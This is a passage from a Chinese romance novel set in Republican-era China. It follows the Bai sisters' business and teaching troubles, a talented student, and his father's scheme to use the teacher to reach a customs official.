白瑾瑜沉沉地呼出一口气,再一次坚定道:“我是不愿意从这种大路货商人手里租仓库的,工人不牢靠,风险太大了。” 她的每一条顾虑都极有道理,白瑾璎闪着亮光的眼睛又黯淡下来,忧愁道:“唉,你是我们家最有能耐的人物了,连你都想不出对策,我又能有什么办法呢?要是实在做不下去,也许你去找份工作呢?凭你的本领,外贸经理的位置,总不在话下。” 白瑾瑜被逗得发出一声笑,摇头道:“别,别,我知道自己的德行。要我做事,就让我放开了手去做,要是有个顶头上司管着我,我又出于职位低而不得不听他的,我一定撂担子不干。找工作这条路,万万是走不通的。” 想象一下白瑾瑜和莫须有的上司吵得面红耳赤,最后由白小姐拍出一封辞呈以告结束的情景,两人竟不约而同地笑起来,彼此对视一眼,又笑得更厉害了,总算把这凝重又惨淡的气氛,缓和了一点。 笑过之后,又是一阵安静。 白瑾璎先感叹了一句:“唉,这世上,谁也不容易呀。只是比起许多人,我们的不容易已经少了许多了。现在仔细想想咱们刚才的话,我、我都觉得有些惭愧。” 白瑾瑜眨了眨眼,问:“这为什么?” 白瑾璎不好意思地抿了抿唇,说:“我的意思是,至少我们生在富裕的家庭,即便爸爸不在了,还留下一大笔积蓄可供开销,又因为受教育足够多的缘故,也能轻易谋到职业,在社会上立身。可这世上有许多人,老人妇女孩子,是没法靠自己的力量谋生路的。你瞧,别人连一口饱饭都吃不上呢,我们至少吃穿不愁,仅仅为几间货仓就愁成这样” 白瑾瑜微笑着,很温和地反驳她:“人都说比上不足比下有余,但谁也没有往下去比的道理。人人往下比,谁来奋斗呢?” 白瑾璎的脸一下子烧红了,哪怕在光线昏暗的夜里都能看得清楚。她不过是突发感慨,绝没有要反对谁的意思,连忙辩白道:“不,不,我不是这个意思。我是说,人固然要向前努力,但若不涉及最根本的温饱问题,总不算天大的事,不必把自己逼得太紧” 白瑾瑜当然明白,白瑾璎只是性情很安定,没有卯着劲向上的野心罢了;而自己则恰恰相反,享受忙忙碌碌的状态,这份忙碌所带来的事业上的成绩比任何其他事都更让白瑾瑜感受到自身的价值。 于是接话道:“我明白,只是好歹是我辛辛苦苦开起来的店,好比亲手养大的孩子,总不能眼睁睁看着它关张大吉。让我再想想法子吧,我也听你的劝,这两天多出门逛一逛,散散心,兴许就有新的主意呢?更何况——” 她伸手拧了拧白瑾璎的脸颊,冲她笑了一笑,“我把生意做大了,多开一家店,就多雇几个店员,给那些女孩子们多一点谋生路的机会,不也很好吗?” 白瑾璎怔怔地望着她,很快想通了其中的关窍,拉住她的手激动地握了一握,道:“对,你说得对!这是授人以鱼,不如授人以渔呀!” 白瑾瑜见她一下低落,一下又高兴起来,及至此刻高兴的时候,晶亮的眸子里像带着无尽的希望似的,连她自己的心情也跟着明朗起来,玩笑道:“这是做生意总有风险的,我要是赔光了本钱,就只能靠你养活了。” 白瑾璎当即又握紧了她的手,打着保票道:“这是什么话!有风险的债券投资,我绝不碰的,分得的钱都好好的存在银行里,我还有工作,养活你有什么难?我也绝不管你,你只管放开手去做就是了。” 这一番话,不能叫人不感动,白瑾瑜心里的希望,也就更大一点。她就着被白瑾璎握住的手摇撼一下,说:“有你这句话,我就没有后顾之忧了。你这么一个稳健的人,就冲不能让你赔钱,我也得做出点起色来呀。” 于是这一夜的谈话以烦愁开始,却以默契与希望而终,似乎等夜晚过去,明天又可以是一个新开端。 事实也是如此,白瑾瑜开了窗,迎着洒进卧室里的阳光深吸了一口早晨的空气,换过便装吃了点早餐后,便出门散心去了。 但她多少还是记挂着正事,说是散心,去的却都是面料市场、成衣店、洋货行之类的地方,一面走马观花地到处看,一面在心里默默地拨着算盘。 譬如在面料市场,就看什么面料的做工最好,已无需再进口外国货了;在洋货行,则是什么商品剩的最多,那就是供大于需,自己也可以相应减少货量;如此加加减减之下,自己所有的货品最少可以减到多少?半个货仓够不够用?如若增加更占地方的礼服皮包之类,最多又可以加到多少?够不够装满两间? 一连逛了好几天,倒把如今的服装并洋货市场摸得八九不离十了,对于自己店里的货物也出了不少调整方案,一一罗列在纸上。 这一天同样如此,白瑾瑜在走出某家成衣店后依旧沉浸在思绪里,不断地在心里估算着货品组合,不知不觉就走到了大路上。恰是这时候,不远处徒然传来几声惊呼,人群似乎也跟着骚动起来,一下又把她惊醒了。 她离得近,很自然便听到了别人嘀嘀咕咕的议论声。 “哎哟,哎哟,那太太一下子就倒下去了,叫也没反应,谁过去看看?”那人虽是这样说,自己却惊惧地往后退缩着。 一个声音亢奋地嘀咕:“你看她这身打扮呀,还有那个手拎包,准是有钱人家的富太太哩!你不晓得富人家多阔气,我有个朋友,就是碰上有钱人家的老太太在路上崴了脚,不过替她叫了个车又搀着过了条马路,得了两百块钱的酬谢呢!等我去摇一摇她——” “我看你是想钱想得发了疯!”立刻有人制止,“这是崴脚的事吗?你看看她动也不动,不要是发了什么大病吧?万一你一摇,她反倒咽气了呢?” “是哟!到时候可不就追着你问责吗!富人家财大气粗,难缠的很哩,非得扒掉你一层皮不可——” 一时之间,竟是对死亡和厄运的恐惧占了上风,人群稀稀落落地向后退开,偶尔有人路过,也是远远地看一眼又匆匆走开。白瑾瑜虽是站在原地没有动,可因为别人的退避,反倒把她让到了前头,清清楚楚地看到了倒在地上的人。 那太太侧躺着,惨白的脸上透着青灰色,胸口几乎看不见呼吸的起伏,实在是生死难料的情状。 比起惊慌,这种近乎死亡的状态几乎是第一时间捕获了她,刺痛了她——爸爸。 不知为什么,眼前的身影和记忆中的白齐盛重合在一起,她心想,爸爸在遇上飞机事故时是怎样的情形?总有这么个瞬间吧,在他咽下最后一口气之前,渴望着生,却没能等到任何一个人帮他。 那毕竟是飞机事故,生死全在一息之间,没人救得了他,可是现在呢? 白瑾瑜僵立着,心念电转之间,最响亮的一个念头是:转身离开固然省事,可是,不要让天上的爸爸也看不起我吧! 她环顾四周,哪里也没有公用的电话亭,但她马上想到了刚才去过的成衣店,当下从手袋里摸出一张五元的钞票,请一位脚程快的年轻先生替她跑一趟,借用成衣店里的电话向附近医院挂一通求救电话。 自己则守在那位太太的旁边,一道等着医院的救护车过来。 第35章 第 35 章 我以为,只有礼貌周全的…… 被老师们深恶痛绝的学生, 总不会每一天都逃课的,不然,何以留下如此恶劣的印象呢?白瑾璎头一天没碰上的“混世魔王”, 隔了两天后, 终于在课上现身了。 她一眼就辨认出其中个子最高的那个是孙立学, 即便是坐着, 也高高地翘着二郎腿, 一副目中无人又趾高气昂的姿态。另两个倒是点名之后才分清的:梁小山个头矮小,只是一双眼睛鬼灵精地转个不停,但凡孙立学发话,他势必要哄抬几句造个势;徐克行则是中等个子的长脸, 不大出挑, 倒是很沉默的样子, 只是同样坐没坐相,时不时由鼻子逸出一声冷哼或冷笑。 在一堂课, 白瑾璎一走进教室, 孙立学便开始犯浑, 吹了一声长长的口哨, 笑道:“哎哟!早知道洋文课来了个这么漂亮的老师,我上两堂课就赏个脸来听了!” 梁小山紧跟着拍着桌子笑起来。只是白瑾璎已经给六班上过两堂课了, 其余学生对她的印象很不坏, 这一次倒没有人附和他们, 教室里安安静静的, 反衬出梁小山的独角戏怪可笑,他自己也讪讪地停下了。 白瑾璎本来被那突如其来的口哨惊了一跳,见班里的学生没有乱起来,这才暗自庆幸着镇定下来。 她走上讲台, 心里尽管七上八下的,还是鼓着勇气冲那孙立学微笑一下,道:“这位同学,我们是第一次见,只是这样初次见面的方式可不大礼貌。从西方的礼仪来看,应当由朋友或长辈代为引荐,握手后才算是认识,而不是吹口哨和大声喧哗。” 孙立学怪笑了一下,大声道:“原来还有握手啊!光认识就能和漂亮女人握个手,那也不差嘛!” 说着,双手上抬做出鼓动的手势,向四周环顾一圈,有梁小山替他哄抬,这一次,陆续有几个男学生也跟着偷笑出声。 白瑾璎心里实在生气,她从小在好人家长大,不论在家里,还是学校或亲朋好友的聚会,对女性都是一万分的尊敬,但凡有男士开这样低级的玩笑,不说主人家当场要摆脸色,下次也绝不会再请他参加。 可这个年纪的男孩子偏偏最难对付,没有足够严厉的教养约束,又有反叛心,一点点不好的风气,就能把人熏坏了。 白瑾璎明白道理讲不通,自己一味地说道理,在这些半大的孩子看来更要显得可笑了,身为老师,也不好大声斥责(她实在也不擅长大声斥责),想来想去,只能沉下一点脸色,认真道:“我以为,只有礼貌周全的绅士们才有资格受到引荐。” 女孩们想必同仇敌忾,一个个挺直了脊背瞪着身边的男学生,教室里的窃笑声果然小了一些。 “所以,要做个绅士。”白瑾璎缓和了表情,格外重读了“绅士”这个单词,用洋文说道,“不光对别人,对自己也是有百益而无一害的。” 尽管她已经尽量说得简单,但孙立学是个胸无点墨的文盲,当然半个字也听不懂,见教室里少说有一半的人露出意会的神态,这便把自己的无知明晃晃地衬托出来了,仿佛受到挑衅似的,狠狠地瞪了白瑾璎一眼。 而让白瑾璎意外的是,在她说完这句话后,徐克行虽然半不屑半嘲笑地扯了扯嘴角,顺带冷哼了一声,但论他这一番举动的原因,竟是把这句洋文给听懂了。 是以对于徐克行,她倒多留出几分关注。 点过名后,便正式开始上课了。孙立学依旧没骨头似的斜靠在墙上,不时把钢笔叼在嘴里,压根没有在听的样子,前头的梁小山干脆脸盘朝下打起了瞌睡;反倒是徐克行,虽是一手撑着下巴神游也似,但白瑾璎好几回都留意到,他拿了笔在铺得乱七八糟的白纸上记下几笔。 到了口语练习的环节,白瑾璎将几句句子写在黑板上,自己先流利地读过一遍后,再请学生重复。 轮到第二个学生时,孙立学又不安分了,拿钢笔一下一下敲着桌子,笃笃笃闹得人心烦。他这样不遗余力地博人的关注,白瑾璎没法装看不见,干脆也请他来读几句。 孙立学站没站相,理直气壮又油滑:“我不会!” 白瑾璎叹了口气,还是和气地问:“那么,‘我不会的洋文怎么说呢?” 孙立学一下有些懵,换做别的老师,这时候就该让他到外头站着去了,还没有谁会顺势问第二句呢。他反应不及,好半晌才梗着脖子又说了一句:“我不会!” 这段对话听起来实在有点意思,班里好几个人都扑哧笑出了声,连旁边坐着的徐克行都憋笑不住,弯了弯嘴角。 孙立学一时间恼羞成怒,涨红了脸叫道:“笑什么?有什么好笑的?!”又冲徐克行道,“你刚刚是不是也笑了?” 白瑾璎私心里其实很怕他真的大闹起来,赶紧语气温和地叫停:“好吧,你不会,但也不能在上课的时候大喊大叫吧?你要是不喜欢洋文课,去外头站着松快一下,我是不拦你的。” 孙立学恨恨地由鼻子哼出一口气,向徐克行使了个眼色后,头也不回地走去了教室外头。 徐克行紧跟着站起来也要往外走,一来,孙立学刚才单独叫了他的名字,他自认也脱不了干系;二来,他们本来就是同进同出的小团伙,赶一个孙立学不够,连带着把他俩一道轰出去才是常态,这个新老师虽是头一次见,恐怕也早听说过他们的事迹,被传授过经验之谈了。 但白瑾璎却像是不知道似的,讶异道:“你站起来做什么?好吧,那也不必急着坐下,不如也来读一句好了。” 她拿长棍子指出其中一句,徐克行被吩咐了个措手不及,竟也一个指令一个动作,磕磕巴巴地念了下来。 白瑾璎暗道,我想得不错,至少在洋文上,他不能算是不可救药哩。于是针对他念得不准或是断断续续的地方,着重纠正了一下,重新示范一遍后再让他读。 徐克行大概没有想到自己能受到如此重视,一连跟读了两遍,连自己都不由得认真起来,到了第三遍,无论是发音还是断句,乃至音调,竟都是完全正确,连白瑾璎都忍不住吃惊。 要知道,学洋文不能光是埋头书本,不开口是不行的,这就是一门与模仿相关的学问了,有的人一遍就像样,有的人却是怎么练习都脱不开怪声怪调,高下自然分辨得出。而徐克行在学习洋文上,实在是很有天分。 白瑾璎冲他一笑,不吝表扬道:“很好,往后句子的难度会不断增加,要是你在学期末还能读得这样好,我可以给你的口语评一个‘优秀了。” 直到白瑾璎让他坐下,徐克行都晕晕乎乎的像在做梦,恍惚听见白瑾璎对着其他学生又开始讲解长单词的发音和注意点,便摇晃着脑袋,本能地想把她的话都捕捉进来。 他不否认自己对外文很感兴趣,但还是头一回感受到被夸赞之后巨大的满足感,那满足又像是催生出无穷的兴趣,让他除了自己念过的那一句,连其他几句都想要掌握。徐克行一下子抓起笔,把黑板上的例句全部抄写到纸上,嘴唇开开合合地又默念了一遍,那颗心才算是定了。 直到打过下课铃,孙立学风似的从教室外冲进来,一下摇醒了睡眼惺忪的梁小山,又拉了一把徐克行的书包道:“还等什么?走!下一堂课,老子说什么也不呆在这儿了!” 徐克行的书包还没有收好,被他这样用力一拉,里头的东西撒出来大半,除了两支自来水笔和装了花生还没吃完的牛角纸包,另还有一本翻得很旧了的小书。 “嚯!这什么?你还看书?”孙立学一把抢到手里胡乱翻了几页,见里头竟是和课上差不多的歪七扭八看不懂的字符,顿时兴趣全无,随手便丢在一边,也不管封面的那一页都被他甩脱了,说,“什么东西,拿走!看得我眼睛疼!” 随即又像是想到什么,拍了下手道:“想不到你还挺懂洋文呢,竟还藏了本洋文的小书,那好,往后我和小山的洋文功课,都由你代劳了吧!呵,我次次交齐作业,倒要看看,那新来的老师怎么判我零分!” 他想着徐克行总该应承一声,却好一会儿没有等到,忍不住看他一眼,只见徐克行拿着那外文书,拧着眉头盯着那被甩脱的封页。 孙立学心里便有些心虚,但很快又硬气起来,拍了拍徐克行的肩膀道:“一本破书罢了,别看了吧。走,我正要告诉你呢,我爸这周末做东摆酒,请了不少生意上的老板,我可是专程和他说了,一定把你爸也算上。怎么样?我这个朋友,总归不赖吧?” 徐克行的目光终于从那破书上移开,把那书本连同纸笔零食,一股脑全塞进书包里,甩上肩膀道:“成,走吧。” 第36章 第 36 章 要说他对姓白的没点意思…… 这三个混世魔王照例还是逃学, 白瑾璎的洋文课,一周能来上个一半,已经算很给几分薄面了。 但白瑾璎却发现, 对比另两个不学无术的小混子, 徐克行真是有几分用功的。至少他在课堂上从不主动挑事, 手上也是有一笔没一笔地记录着, 恰逢一次随堂小测, 他一个半数的课都没上过的人,竟考了个接近中游的分数,相比于另外两份白卷,可谓是天壤之别。 这样一棵好苗, 若是栽不好, 岂不是自己这个当老师的罪过? 白瑾璎于是更加留心起来, 倒真给她找到了一个机会。那天她恰好上最后一堂课,下课铃一打过, 以孙立学为首的一群男学生便野马似的拽上书包往教室外冲, 反倒是徐克行还留在座位上, 慢手慢脚地收拾东西。 白瑾璎知道他在课上看闲书, 她在讲台上看得一清二楚呢,正好想去和他说一说, 走近了才发现他收起来的竟是一本外文闲书。只是那模样实在是惨不忍睹, 书页泛着黄褐色的霉斑不说, 整个封面都给扯掉了, 硬是拿橡皮膏又给贴了回去。 想了一想,还是搭话道:“你能自己找了外文书来看,可见对洋文是很有兴趣的。这本寓言故事的难度不大,以你现在的水平来看, 也很适合。” 徐克行对她倒不抵触,只是警惕似的望了她一眼,手上动作加快,转眼便将那本破书塞进了包里,也并不回答她的话。 白瑾璎便笑了一笑,道:“你要是真有兴趣,我倒是有许多外文故事书,可以借你看一看。”见徐克行停了手上的动作,重新看过来,又故作惋惜地一叹,“只是我那些虽是旧书,也都保存得很好,你要是像这样不爱惜,我可不能出借。” 正是转身要走的时候,听到由旁边传来别扭的少年声音,“没,这是我妈妈以前的书,我拿到时就很旧了”似乎是觉得这解释还不足够,又补充道,“我会爱惜的。” 是以,这笔“交易”便算是达成了。 徐克行要借她的书看,对于她上的课,也就不能敷衍对付,而结果更是意外的喜人,在下一周的随堂小测上,徐克行的分数一下蹿升到了中上!连白瑾璎都不能不对他的天分感到吃惊。 其实在她发完考卷后,孙立学这三人小团伙之间的气氛便有些沉默古怪,只是她没有留意,下课后径自将徐克行叫去了办公室,拿出一张报名表似的纸单,递给他道:“这是一个月后市里举办的外文演讲比赛,要不要参加一个呢?” 又说,“只是既然参加了,就要加倍用功起来,往后一个月的时间,每周都需要抽一个礼拜六来学校练习口语和朗诵。你晓得,洋文既是一门语言,如果不开口说,那作用可就少了十之七八了。” 徐克行的眉头拧起,捏着那报名表不说话,似乎这次机会让他颇为犹豫苦恼。 白瑾璎等了他片刻,以为他是不自信,便又鼓励道,“你瞧,你一旦好好开始听课,不过一个多礼拜的时间,成绩便提高这样多,可见对洋文的领悟能力不俗;你的口语虽不大流畅,但发音绝无问题,完全可以靠练习来补足,既然有这个能力,为什么不试一试呢?难道提高本领,对你还会有害处吗?” 徐克行似乎是被说动了,终于嗫嚅着开口道:“不,是我周末腾不出空来,我爸要我帮他做事” 其实能有什么事,无非是要他陪着孙立学到处闲晃,哄好了这位少爷,以便孙家的老爷手里能漏下一两笔大单罢了。放在平时,他未必每周都想着出去招猫逗狗,但他这次得了个好分数,刚才瞧着孙立学的脸色就不大好,这时候再说周末要去学习,他一准翻脸,连带着他老爹的生意都能给搅黄。 徐克行这时候倒有些后悔,怪自己不该把知道的都一股脑往卷子上填,避一避锋芒,又能怎么样呢? 可谁能明白那种感受呢?就像被一股无形的力量推着往前——我分明会做,为什么不做呢?我付出了努力,为什么不能示人以成果?从前他大脑空空的时候尚不觉得,现在喝下两口墨水,留了些知识在脑中,反倒激发起他向上冲一冲的意愿了。 白瑾璎不明内情,还觉得讶异,“你一个小孩子,能让你做什么大事不成?” 她看了一眼课表,道:“这样吧,后天正好是家长的开放日,你让你爸爸来一趟,我同他说一说,让他给你放行一个月,怎么样?这种对孩子的课业百益无害的事,他总不至于不答应吧?” 自己的爹是个什么德行,徐克行还能不知道吗?但凡他对自己的课业有一分上心,也干不出让他整日跟着孙立学瞎混的事来。 只是徐百富虽然功利十足,全部脑筋都钻进了钱眼里,可对着学校里的老师还是讲些客气的,至少不会出言不逊。眼前这一位白老师讲起话来条理清晰,也很有说服力,兴许就能说动他呢?徐克行私心里还是想去试一试洋文演讲,也就答应下来。 尽管他回家后几次叮嘱,他爹嘴上也答应着,到底没把这劳什子的家长会放在心上。 当天,别个家长早早就来了学校。孙立学不必去说他,他自己就消失个无影无踪,其余的多少都问过几句功课,有闲的则坐下听两节课再走,唯独徐克行的父亲,左等右等就是不来。 白瑾璎见徐克行自己也是面色不好,也就不便再去追问他,反而向教数学的吴老师打听了几句。 吴老师无可奈何地摇着手,边喝茶边说:“来了又怎样?那徐百富跟个滑不留手的泥鳅似的,表面上‘好好好地答应你,回去了照样做个甩手掌柜,哪怕你把读书用功的利弊给他讲透了,没有用啊!” 事实也正如吴老师所说,到了临近放学的点,徐百富才夹着个皮包姗姗来迟。一来,就对着白瑾璎一通“辛苦、有劳”地感谢,态度不可谓不尊敬,可一等白瑾璎谈及洋文演讲的事,徐百富又是百般的推脱。 “小孩子整的什么比赛,哪里还需要占用周末的时间哟?他爱参加就参加,周末可得给我留出来嗐,我哪有让他干什么活呀!”徐百富转着眼珠,重新笑道,“我是看孩子都上了五天的学了,心疼呀!好不容易这两天时间,总得叫他休息休息吧?” “再说了,他妈没得早,我又老是在外头跑生意,平时轻易见不到这孩子几面哩!我也想趁着周末,带他出去顽顽嘛!” 果真是滑不留手,漂亮话一句接一句,不是心疼儿子累,就是想多陪陪儿子,可就意思来看,分明就是不愿意妥协了。 白瑾璎一时拿他没有办法,便又拿出了徐克行近几次随堂小测的成绩单,想和他仔细谈一谈。徐百富也不好好看,随手将那几张成绩单叠了两下,塞进皮包里,“劳驾劳驾,实在是忙。我今天还是抽了空过来的,还得赶回去不可,实在不方便谈话。” 白瑾璎只好耐着性子问:“那什么时候方便呢?我以为徐克行的学习情况,很有必要和您谈一谈。” 徐百富显然也觉得她烦,笑脸都淡了几分,只说:“改天,改天。”见白瑾璎神色严肃,他顿时也板起面孔,两只巴掌手背对手心重重拍了两下,道,“生意忙呀!有什么法子?这年头养家糊口哪里容易!” 说着,已经抬脚踏出了教室,伸手往旁边一招,拽起站在一边沉默不语的徐克行就走。 白瑾璎实在有几分挫败,只是人走得飞快,她哪里追得回来?只能收拾了东西先回家再说。不想刚走出校门,便看见马路对过停着辆眼熟的黑色汽车,蒋牧城正开了车门出来,冲她微笑着点头呢! 这是有事要谈,所以专程来等她呢?还是顺道办事,来接一接她呢? 白瑾璎觉得心跳徒然快了两拍,下意识停了脚步,随后又兴冲冲地小跑过去,问:“二哥怎么来了?” 她脸颊边的鬓发被风吹得有些乱,蒋牧城下意识抬起手,想替她顺到耳后,又猛然想起此处正对着她学校的大门口,唯恐自己的举动太过唐突,惹人讨厌,又半道收了势,改去压了压白瑾璎的外衣领口。 白瑾璎还当是自己的衣领脏了皱了,眼睛跟着看过去,却什么也没有,便抬头对蒋牧城笑了一笑。 他们是做者无心,只是这一番举动并脉脉无言的气氛,落到旁人眼里,那就是看者有意了。 徐百富刚走出校门口便留意到了蒋牧城的汽车,他最近急于和海关衙门牵上线,海关几位上峰的车牌号码,他早就背得滚瓜烂熟了。苦于找不到上前搭话的借口,便先支走了徐克行,自己蛰伏在近旁。 哪里想得到,蒋副总长等的人竟是那姓白的老师呀! 徐百富是生意场上练出来的人精,酒局上什么样的神态眼色没有见过?这里头藏着的秘密可多着哩!他暗暗观察着,三眼两眼,已将他二人的关系摸索清楚了。 如今是社交开放的社会,谈恋爱的男女们当街搂抱那都是常有的事,摸个头发摸个脸算得了什么?像这样光站了半天,碰也不敢碰一下的,那就绝不能是恋爱的关系。可再看蒋牧城这勾丝似的眼神,要说对姓白的没点意思,自己第一个就不相信! 他暗暗思忖着,眼睛一转,一个绝妙的主意便已成形了。 第37章 第 37 章 “你喷了什么?好香。”…… 在那边二人谈得正好时, 徐百富便横向里一凑而上,满脸惊讶地先向白瑾璎点了个头,道:“啊呀, 白老师, 又见了。” 随即, 又转向蒋牧城, 这一次却是微微地欠了欠身, 十足十很恭敬的样子道:“蒋副总长,这真是赶巧了不是?先前几次约您都没能约上,今天走在路上,不料就碰上了。您贵人事忙, 大概不记得我。敝姓徐, 和贵司的杨处长常有事务联系, 半个月前我登门时,由他做中间人, 向您引荐过一次的。” 蒋牧城大概确实没什么印象, 只略点了点头, 见他先和白瑾璎打了个照面, 便径直将疑问的目光投向了身边。 白瑾璎便小声地和他介绍:“这是徐百富徐先生,是我一个学生的家长。” 两次引荐, 这第二次的分量可不一般呀。徐百富暗自得意道, 由白小姐做中间人再向他介绍一回, 这一下, 蒋总长可不能再把他给忘了吧?这也是他志在蒋牧城,却先和白瑾璎问了声好的原因所在。 那一份得意却不露在脸上,徐百富笑得更加谦和殷切,趁热打铁地对蒋牧城发出邀请:“蒋副总长, 都说相请不如偶遇,这一次,总可以赏脸应邀,不要又让我铩羽而归了罢?我是有海运关口上的要紧事想和您谈,想请一张特别派司哩!” 蒋牧城凝了他一眼,冷淡道:“既然是和杨处长有事务来往,和他谈就是了,真有什么问题,他总会来请示我。” 事务会谈上的事,白瑾璎插不上话,一言不发地站在旁边,心里却有一点吃味,心想:我不过想和这徐先生约一点时间,他就百般推脱,现在他想约一约蒋二哥,后者又对他爱答不理,这世上,果然是求人的一方最难。再仔细一想,自己正处在求人的最末端,可不就是难上加难? 这边唏嘘不止,那边徐百富接着道:“那总是不一样的呀!我和杨处长谈,他再和您谈,这就是走了两道程序,费时又费力不是?不若我直接和您谈,岂不是更快捷?我们做生意的,那是掐着手表办事哩。” 他露出一个笑脸,又将话锋一转:“当然了,我也知道要照章办事,本来不想叨扰您的,这不是看见您和白老师走在一处,瞧着还是很相熟的样子,我心想,这不是两全其美吗,这才觍着脸上来相请呢。” 白瑾璎冷不丁被点到了名字,下意识地回过神来。与此同时,蒋牧城也是神色一凛,他辨不清这姓徐的话里什么意思,直截了当地问:“两全其美,这话怎么说?” 徐百富交握的手搓了搓,笑道:“您不知道,本来白老师就约了我,想谈一谈犬子的学业,无奈我怎么都抽不出空来。自然,我是苦于想约您而不得嘛。这你追我赶的,谁也约不成谁,可既然您二位认识,那就好办了呀!” “不如我一道约了您二位,如何?犬子的功课就是那副样子,也没什么不能让外人知道的;至于和副总长您的事务——”他卖关子似的顿了一顿,觑了眼蒋牧城的脸色,才接着道,“多一个白老师在旁边听着,我想您也不会介意吧?自然了,白老师一来不是我的对家,二来呢,为人也很正直,我本人是放一万个心的!” 趁着这表明态度的劲头,一鼓作气道:“就是这样吧!由我作东,明天中午约在明月饭店,到时候,不拘公事私事都谈得,您二位意下如何呢?” 见白瑾璎脸上有一丝惊疑,还当是自己饭店选得高档,叫她惶恐呢,立马又做小伏低了一番:“不破费,不破费,犬子平日也有劳白老师费心了,何况教书育人多么辛苦的事,一顿饭还当不得吗?” 白瑾璎当然不是为饭店好坏,不过是惊愕于徐百富的脑筋,想不到一个难题,还有这样的解决办法。但一想到可以和他好好说道徐克行的洋文天赋,这方法虽古怪,倒也不是不能接受。 同时,徐百富占着学生家长的身份,一番姿态忽强忽弱的说法,硬是把两件事搅和在了一起,还暗示着蒋白二人关系匪浅,是可以不分彼此的。连蒋牧城都挑不出他什么毛病来,并且心里有些受用。 他微微低头,问白瑾璎道:“你真约了他谈事吗?” 白瑾璎仰起头来点一点,想到徐克行被徐百富拽走时那种垂头丧气的失落样子,到底下定决心想为他争取一次,道:“是,有好几件事想和徐先生谈,只是徐先生说腾不出时间来。” 蒋牧城沉吟片刻,竟真的答应了下来,“正好也是陪一陪你,你一个人在外面谈事,我是不放心的。” 徐百富简直是喜出望外了,当下对蒋牧城谢了又谢,忙不迭顺着他的话道:“是,是,正是考虑到有蒋副总长在呀。不然,我哪里会约白老师单独谈话,那是很不妥当的。” 他心里又是兴奋又是得意,想不到用白瑾璎做诱饵,真就把蒋牧城给钓上了!是以,对于自己接下来的计划,更是有了□□成的把握。 既然大事定了,徐百富也不忘贯彻自己忙得脚不沾地的形象,一面拎起衣袖看一眼手表,一面匆匆忙忙地向二人告辞道:“失礼,失礼,我真得走了,明天一定等着两位的大驾。” 第二天正是礼拜六,又是同约在明月饭店,蒋牧城当然是开了车来椿樟街接人。 对于徐百富的邀约,他是无所谓去不去的,但邀约里加了一个白瑾璎,他心里的天平便偏向了“去”的一端。不光为了能和白瑾璎见一见面,再有,他也听到一些风声,说白瑾瑜的生意不大顺利,白瑾瑜那边一旦心烦心焦,要想在周末把瑾璎约出来,那就不大容易了。现下有了徐百富这么个中间人,理由就名正言顺得多。 不多时,白瑾璎便出来了。 她穿一身素面的浅蓝色旗袍,只有盘扣的纹样很是别致,缀着一粒粒雪白的小珠子,长头发全数拢在脑后。分明是很朴素的打扮,他却瞧着她格外的秀美可爱,也许是这周末晴好的天气,兼之难得的独处机会,让他的心也轻轻摇曳起来。 蒋牧城替白瑾璎打开车门,在后者矮身钻进车里时,只觉得一阵暖香软绒绒地掠过鼻尖,再要去细嗅时,已经飘散不见了——白瑾璎已在副手座坐好了。 他暗自对自己觉得好笑,不过是一缕香味,就像失掉了魂似的。等在驾驶座上坐定了,才佯作不经意的样子问道:“你喷了什么?好香。” 白瑾璎“咦”了一声,把手心凑近到鼻尖细闻着,说:“大概是我的擦脸霜,香味太重了吗?” 蒋牧城的嘴角抿着笑容,瞥了她一眼,说:“不是擦脸霜,你一直用的擦脸霜的牌子我知道,不是那个味道。” “那是什么?我什么也没用呀。”白瑾璎也很疑惑,最后只能猜测道,“瑾瑜倒是用香水,大概是和她在一起的时候染到了一些吧。” 蒋牧城顿时在心里嗤了一声,但到底没把这份不痛快表现在脸上,只淡淡说了一句“不对”,也不再多谈,生怕话题就此偏离到白瑾瑜的身上。他才不知道白瑾瑜用的什么香水,横竖不可能是这种暖融融又令人适宜的香味。 汽车稳稳地停在了明月饭店的大门,一下车,便看见徐百富已恭敬地等在了门外。 他今天也是一身西服,但显然比昨天去学校的那身考究得多,另系了条暗红色条纹的领带,稍稍盖住微凸的肚腩,脚下一双皮鞋擦得锃亮。一看见二人从同一辆车上下来,当即热情地迎上来,半开玩笑道:“两位是焦不离孟,感情很好哩!” 蒋牧城不喜欢这种暧昧的调侃,此刻对象换成白瑾璎,也是怕她多想,进而窘迫,反倒疏远自己。便淡淡地解释一句:“我们顺路,就一道过来了。” 好在白瑾璎正从副手座那一边绕过来,像是没大听清徐百富的话,并未做出什么反应。 而徐百富也在看到蒋牧城蹙了蹙眉头后,知道自己失言了,当下在言语上规矩起来,不敢再提。 徐百富引着二人进了饭店大厅靠角落的一张小桌,招呼跑堂的上汤上菜,一面布菜劝菜,一面又说鉴于有女士在场,不宜多喝,只向蒋牧城敬了两杯黄酒就停了,总也算得上是主宾尽欢。 白瑾璎倒是有点奇怪,怎么不订一个雅间,更方便谈事?坐在大厅里,周围俱是别桌交谈说笑的声音,间或还有划拳的行酒令的,即便是靠角落的位置,也依旧显得闹哄哄。 想不到吃完了饭,徐百富站起来拱了拱手,笑道:“两位赏光,用完了饭,那就是谈正事了。这里又吵又乱,当然不方便谈事,好在这明月饭店很新式,楼上就有住宿的房间。我已经开好了一间套房,清清静静,不如我们上楼谈吧?” 第38章 第 38 章 原来孤男寡女共处一室时…… 三人上楼。 徐百富拿着房牌让服务生带路, 开的是三楼最靠里的一间宽敞套房,里间是睡床,外间是谈事用的厅房, 茶几上已摆好了瓜果点心, 又让人送来一壶茶水。 放在平时, 给白瑾璎一百个胆子也不敢随便和人进这种酒店房间的, 但因为有蒋牧城同在, 自觉无需戒备忧心,便自在放松地进了屋子。私事公事,自然是私事先谈。 白瑾璎倒是尽心尽责,做了充足的准备, 不光带来了徐克行的成绩单, 连他几次随堂小测的分数都做了记录, 放在一起看,很能看出突飞猛进的蹿升势头。 “您看, 这才短短一个来月, 徐同学就有这样大的长进, 实在是有学习洋文的天赋。另外, 这些只是纸面的考试成绩,我们在课上还会做口语练习, 虽然没法记录, 但我可以夸一句, 他的口语能力同样进步飞快。”白瑾璎一番陈述并介绍, 不知不觉已经讲了十来分钟,此刻得了个间隙,刚想倒杯水喝,便有人从旁递了一杯过来。 白瑾璎冲蒋牧城感谢地一笑, 又回过头来看向徐百富,后者因他二人这一番互动而眼冒精光,面上仍是千恩万谢地恭维:“实在有劳白老师了呀,犬子是什么德行?向来是只有在先生那儿挨骂的份啊。可您看,您白老师一来,他的成绩居然就上去了,可见是您教得好,这是名师才出高徒哩!” 